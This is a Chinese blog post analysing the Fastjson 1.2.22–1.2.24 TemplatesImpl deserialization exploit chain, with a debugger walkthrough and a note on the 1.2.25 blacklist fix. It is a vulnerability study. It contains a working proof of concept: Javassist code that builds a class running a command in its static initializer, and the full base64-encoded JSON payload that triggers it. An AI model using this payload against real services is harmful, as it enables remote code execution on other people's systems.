当前位置:   article > 正文

Java反序列化5-Fastjson 1.2.22-1.2.24 TemplatesImpl利用链分析_java templateimpl

java templateimpl

0x00 前言

Fastjson是alibaba开源的一个json库,能够对json字符串进行序列化与反序列化操作。其在1.2.22-1.2.24版本被爆出来存在反序列化漏洞。该反序列化漏洞一共有两条链子

  • TemplateImpl
  • JNDI

这次主要分析的是TemplateImpl利用链。

这条链子还是利用了TemplateImpl类,将avasisit生成的恶意类赋值给_bytecodes属性,当反序列化TemplateImpl对象时会调用其gettter和setter方法,在调用这些方法的时候调用了newTransformer从而进入TemplateImpl链条最终实例化恶意类,执行其静态代码段命令。

0x01 思路总结

总的来说就是fastjson在对其进行反序列化的时候执行了getter和setter方法从而导致了命令执行。

Fastjson在对json进行反序列化时首先根据@type类型创建一个TemplateImpl反序列化器,其没有找到该类的反序列化器所以建造一个该类的反序列化器A,在建造过程中会定义每个成员变量的反序列化器。反序列化器A根据@type类型创建一个该类的实例,然后开始每一个字段的反序列化并赋值到实例上对应成员变量操作,在每一个字段反序列化时都会先在A中查找对应类型的反序列化器B,当我们在寻找_outputProperties字段的反序列化器时,smartMatch(这是寻找字段反序列化器的函数)第一次没找到与之符合的就会进行模糊查找,从而找到了outputProperties的反序列化器,所以用这个反序列化器做为_outputProperties字段的反序列化器,后面称其为C。C首先反序列化_outputProperties的值为{},然后调用自己的setvalue方法将该值赋值给实例的_outputProperties成员变量,在setvalue中调用了getoutputProperties方法(毕竟A是outputProperties反序列化器,如果是_outputProperties的反序列化器,我猜会调用get_outputProperties方法),而在调用TemplatesImpl.getoutputProperties时会调用newTransformer从而进入之前链子(注意此时json中的_bycodes已经被反序列化并赋值给了实例的_bycodes成员变量),实例化evil类从而导致执行其静态代码段(命令执行)
在这里插入图片描述

0x02 Fastjson反序列化机制

fastjson有两个反序列化json的方法

  • parseobject:返回 fastjson.JSONObject 类
  • parse:返回我们的类Student

看一段测试,一切尽在不言中

class Student {
    private String name;
    private int age;
    public Student() {
        System.out.println(" method: Student() ");
    }
    public Student(String name , int age) {
        System.out.println(" method: Student(String name , int age) ");
        this.name = name;
        this.age = age;
    }
    public String getName() {
        System.out.println(" method: getName() ");
        return name;
    }
    public int getAge() {
        System.out.println(" method: getAge() ");
        return age;
    }
    public void setName(String name) {
        System.out.println(" method: setName() ");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println(" method setAge() ");
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
            "name='" + name + '\'' +
            ", age=" + age +
            '}';
    }
}

public class Test {
    public static void main(String[] args) throws Exception {
        Student zhangsan = new Student("zhangsan", 20);
        System.out.println("序列化1-------------------------------------------");
        //只有设定SerializerFeature.WriteClassName即@type时,反序列化才会反序列化为相应类。如果没指定则会反序列化为Jsonobject
        String s = JSON.toJSONString(zhangsan, SerializerFeature.WriteClassName);
        System.out.println(s);
        System.out.println(s.getClass().getName());

        System.out.println("反序列化1-------------------------------------------");
        Student parse = (Student)JSON.parse(s);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());

        System.out.println("反序列化2-------------------------------------------");
        JSONObject parse1 = JSON.parseObject(s);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());

        System.out.println("反序列化3-------------------------------------------");
        Student parse2 = JSON.parseObject(s, Student.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63

执行结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FCXSzkrc-1657629190864)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712105608796.png)]

在反序列化时只有指定Feature.SupportNonPublicField才会对没有setter方法的私有成员变量反序列化成功。

具体反序列化机制看下面:

https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#3952db0f

https://fynch3r.github.io/Fastjson%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B001/

https://drops.blbana.cc/2020/03/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80/

Fastjson 流程分析及 RCE 分析 (seebug.org)

0x03 POC分析

3.1 限制条件

Feature.SupportNonPublicField需要开启,因为TemplateImpl类的_bytecodes和_outputProperties

是私有变量且没有setter方法。

因为Feature.SupportNonPublicField是在fastjson1.2.22版本才引入所以只影响1.2.22-1.2.24版本fastjson的

先看下POC

public class FastJson {
    public static String generateEvil() throws Exception {
        //首先生成一个evil类
        ClassPool pool = ClassPool.getDefault();
        CtClass clas = pool.makeClass("Evil");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        clas.makeClassInitializer().insertBefore(cmd);
        clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();
        //将evil类的字节码base64编码
        String EvilCode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = FastJson.generateEvil();
        //这个是网上给的payload,但是我发现不要allowedProtocols和_name成员变量也行,无所谓的
        //String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
        //生成payload
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }}\n";
        //触发命令执行
        JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

打印了一下Poc看一下

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAWAQAGPGluaXQ+DAAYAAgKABcAGQAhAAIAFwAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABgACAABAAkAAAARAAEAAQAAAAUqtwAasQAAAAAAAQAFAAAAAgAG"],'_name':'a.b','_tfactory':{},"_outputProperties":{ }}
  • 1

简要分析一下

  • @type:用于存放反序列化时的目标类型,只有指定了@type才会将json反序列化指定类型否则反序列化的为Jsonobject对象。在反序列化时Fastjson会根据@type找到对应的反序列化器,通过该反序列化器对json进行反序列化。
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码
  • _name:这里随便设置一个值,因为在getTransletInstance时会判断_name是否为null,如果为null则会return,从而不能进入到恶意类的实例化阶段。
  • _tfactory:如果设置为null则会在defineTransletClasses中return,其也是为了能进入恶意类的实例化过程
  • _outputProperties:其目的是在反序列化时调用outputProperties反序列化器,从而进入getoutputProperties方法,该方法是会导致bytecodes字节码成功实例化,造成命令执行。

_bytecodes为啥要进行base64编码

因为fastjson在对byte[]类型的数据进行反序列化时会首先对其base64解码

_tfactory为什么为{}

上篇有讲

还可以参考下面这篇

https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#2914a06f

这些变量的设计细节会在后面深入分析

0x04 漏洞分析

调用链分析:

TemplatesImpl#getOutputProperties()
  TemplatesImpl#newTransformer()
  	TemplatesImpl#getTransletInstance()
  		TemplatesImpl#defineTransletClasses()
  			TransletClassLoader#defineClass()
  		input#newInstance()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

我们一步步来分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fESPftSx-1657629190865)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712180631225.png)]

我们指定反序列化为Object.class,Feature.SupportNonPublicField可以对私有属性进行反序列化,跟进parseObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H3JsqXpk-1657629190866)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712180752757.png)]

创建一个默认的json解析器,并将json字符串传入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T093i3LH-1657629190866)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712180919909.png)]

跟进看一下,创建了一个JSONscanner,继续跟进this方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hj4seMXF-1657629190867)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712181118192.png)]

json字符串是{开头所以设置了一下lexer的token为12

然后回到了刚开始的地方,获得一个默认json解析器后,开始json反序列化操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DkejdtuM-1657629190867)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712181605075.png)]

跟进parseobject,到了DefaultJSONParser#parseObject,这个DefaultJSONParser是反序列化json字符串的主要类,大概看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ugLhb7he-1657629190867)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712182123346.png)]

跟进getDeserializer方法,此时type为我们指定的object

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Pn69SndU-1657629190868)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712182620854.png)]

跟进后发现,其会在derializers这个map中查找有没有与type对应的键值,如果存在则将该反序列化器取出,对于object来说其反序列化器肯定存在,则直接返回给derializer

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6ch594iF-1657629190868)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712183032722.png)]

拿到之后return反序列化器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZxWMXWPx-1657629190868)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712183124212.png)]

回到DefaultJSONParser,用object的反序列化器反序列化object

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h2hyMUuh-1657629190869)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712185452178.png)]

跟进,首先判断type是不是GenericArrayType类,此处type为object,所以肯定不是。就会到42行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ICmKePQS-1657629190869)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712185701541.png)]

跟进到parse方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gelEjHjd-1657629190869)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712185732100.png)]

根据token选择操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ryfAytuT-1657629190870)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712185810818.png)]

token之前设置的是12,所以进入12分支

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z6snWdXw-1657629190870)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712185832500.png)]

这里先生成一个JSONObject对象

然后利用parseObject解析这个对象

跟进parseObject

这是解析json的主要函数,大概看一下

前面是在检查语法

在这里插入图片描述

然后在275行通过loadclass获取@type值的类对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0i0n6VxH-1657629190870)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712192607632.png)]

拿到类对象之后,就需要找其反序列化器了,在284行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y7wVyHrX-1657629190871)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712192809264.png)]

拿到反序列化器后对json数据进行反序列化

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bWNhKO9V-1657629190871)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712192836238.png)]

这里的lexer为json扫描器,其存放了json字符串还有其他一些信息,下面会对语法进行解析看是不是符合json规范

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Ev1BeEF-1657629190871)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712190125682.png)]

走到176行会lexer会取出key为@type

然后再274行判断@type是否为jspn的默认type类型,这里判断成立,进入if分支

276行进入loadClass,ref为@type的值com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IgoQWIGv-1657629190871)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712191131169.png)]

可以看到className是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bby2MYAa-1657629190872)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712191146242.png)]

前面代码都没找到对应的clazz,到828行contextClassLoader.loadClass得到TemplatesImpl类对象。并返回clazz,此时clazz为TemplatesImpl的类对象

回到DefaultJSONParser318行,此时需要获取clazz的反序列化器

跟进getDeserializer函数

首先是在derializers中找有没有TemplatesImpl的反序列化器,这自然是找不到的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hou6L97M-1657629190872)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712192917196.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SlgxuD2x-1657629190872)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712192959933.png)]

到279行,因为type是TemplatesImpl的类对象所以自然成立,进入if分支

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iXlz7del-1657629190872)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712193025727.png)]

传入到另一个getDeserializer中,跟进

刚开始还是在derializers这个反序列化器集合中找,肯定找不到

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bPfTGnTk-1657629190873)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712193202618.png)]

然后到319行判断TemplatesImpl是否在黑名单中,肯定没在继续往下走

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cJUeNA77-1657629190873)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712193250435.png)]

往下走大部分代码都是在找TemplatesImpl的反序列化器,都没找到

到411行,最终Fastjson会没有就创建一个反序列化器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aydjpsn5-1657629190873)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712193434079.png)]

跟进createJavaBeanDeserializer,这个函数就是创建TemplatesImpl反序列化器的

480行跟进build函数,在build中会利用反射获取类的信息然后存在beanInfo中,beaninfo中存放了成员变量的反序列化器以及将其与getter和setter方法绑定到一起

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P5PuSBvX-1657629190873)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712194115299.png)]

首先获取TemplatesImpl的成员变量以及方法并存入到对应变量中去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1ZRAViCg-1657629190874)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712194134463.png)]

然后呢会根据一定的规则判断每一个方法是否符合,如果符合就将其与变量绑定在一起

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wqnMmr6u-1657629190874)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712194305611.png)]

先绑定setter方法,然后绑定getter方法

具体可以看这个

https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#3952db0f

这是getter方法的处理步骤

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xZNi17PB-1657629190874)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712194557305.png)]

最终得到的信息大概就长这个样子

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OOSHtMmg-1657629190874)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195017693.png)]

可以看到将outputProperties变量与public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法绑定在一起了

在480将其传入JavaBeanInfo并返回

beaninfo中存放了是什么类,这个类的构造器是什么,以及变量的反序列化器,之所以没有所有成员变量的反序列化器是因为在build中很多变量没有符合条件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5k5gFw9y-1657629190875)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195133916.png)]

到537行,返回一个JavaBeanDeserializer反序列化器,此时我们就有了TemplatesImpl的反序列化器了

回到getDeserializer:461, ParserConfig

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tVfKAtzo-1657629190875)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195340862.png)]

继续往上层返回该反序列化器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oh1oA4Aq-1657629190876)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195415805.png)]

又回到了DefaultJSONParser 318行,拿到TemplatesImpl的反序列化器后,就要开始对json进行反序列化操作了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qGkKFMdk-1657629190876)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195509393.png)]

大概步骤就是先创建一个TemplatesImpl实例,然后在TemplatesImpl的反序列化器中找对应变量的反序列化器,找到后反序列化json字段然后赋值到TemplatesImpl实例上,这里赋值操作可能用的是反射。

首先反序列化json中的第一个字段_bytecodes,先用lexer获取对应的建

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-evRvxrUO-1657629190876)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195803673.png)]

创建一个object实例

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9Q1iePv5-1657629190876)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195827983.png)]

597行,反序列化key值然后做赋值操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EZjKPCRQ-1657629190877)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195907687.png)]

当执行完597行,会发现object的_bytecode的值为那个恶意类的字节码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E3sfqYVy-1657629190877)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712195952030.png)]

下一个反序列化的是_name,下一个是_tfactory

然后到了_outputProperties,此时跟进一下parseField

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C5RhXDYk-1657629190877)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200256489.png)]

这里大概流程就是先在反序列化器中找与自己对应的成员变量反序列化器,然后用这个反序列化器反序列化自己然后setvalue到obejct中

跟进smartmatch

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WeSxAXTJ-1657629190877)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200408112.png)]

首先会找有没有_outputProperties的反序列化器,肯定是没有的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iRxovbWh-1657629190878)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200453741.png)]

那就模糊查找,首先去掉其前面的_,得到key2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NwgaIjCt-1657629190878)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200519693.png)]

然后用key2在反序列化器中找有没有对应的反序列化器,这个肯定有。这个反序列化器是我们刚才build时候创建的,其还绑定了getter方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B5MRjYqb-1657629190878)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200609582.png)]

找到后返回改反序列化器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kkf3OfiY-1657629190878)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200651836.png)]

开始对_outputProperties该json值进行反序列化操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OavqaGjr-1657629190878)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200708749.png)]

跟进parseField

用找到的outputProperties反序列化器反序列化_outputProperties字段值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R1H8mIRC-1657629190879)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200759599.png)]

得到value为{},我们paylaod中设置的就是这个,没问题

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UJPkVaBy-1657629190879)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200853121.png)]

然后调用setvalue将该值赋值到object中去
在这里插入图片描述

跟进setvalue方法

在78行会调用反序列化器中指定的method,即pgetOutputProperties()方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMk0mcfB-1657629190879)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712200948846.png)]

我们看一眼此时的object,其_bytecode为恶意类的字节码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YfMn2R09-1657629190880)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201133787.png)]

在getOutputProperties中调用了newTransformer

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2hD9Reba-1657629190880)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201033676.png)]

然后就会调用getTransletInstance方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XrAPxLQA-1657629190880)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201216841.png)]

因为_class我们没有设置值,所以调用defineTransletClasses

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gabFrvYh-1657629190880)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201242987.png)]

这里面会对_bytecodes进行加载,得到其类对象,也就是得到了恶意类的类对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-71iFrrre-1657629190880)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201326171.png)]

回到getTransletInstance,调用newInstance,对刚才生成的类对象实例化,从而导致触发其静态代码段中命令执行代码,从而导致命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u9QjbmZU-1657629190881)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201510736.png)]

弹出计算器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8fLFGZWF-1657629190881)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712201536485.png)]

0x05 漏洞修复

在1.2.25版本以后加入了黑名单校验

将DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass方法替换为了this.config.checkAutoType()方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6uyR7EJg-1657629190881)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220712202153965.png)]

会对typename进行校验,是否在黑名单中

如果检测到传入的类在黑名单中则停止反序列化

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

这个修复好像最好也被绕过了,具体后面再说

0x07 小结

这个链子想要搞懂,以下几点比较重要

  • fastjson的反序列化机制

​ lexer是json扫描器,用来在json中取值的,当然还有其他功能。

​ 首先通过@type获取对应类的反序列化器(其中包括了符合条件的(buile时候)成员变量的反序列化器),然后实例化一个对应类,将json字符串中每个字段利用对应的反序列化器进行反序列化并存储到对象中去。最终就完成了反序列化操作,得到了一个对象。

  • 漏洞触发原因

​ 在寻找_outputProperties的反序列化器是通过模糊查找找到了outputProperties的反序列化器,再用outputProperties的反序列化器对_outputProperties值进行反序列化后调用了getoutputProperties方法,该方法中实例化了恶意类字节码,导致执行了其静态代码段中的恶意代码。

0x06 参考连接

https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb

Fastjson 流程分析及 RCE 分析 (seebug.org)

https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/

https://drops.blbana.cc/2020/03/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80/

https://blog.csdn.net/qq_35733751/article/details/119948833

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号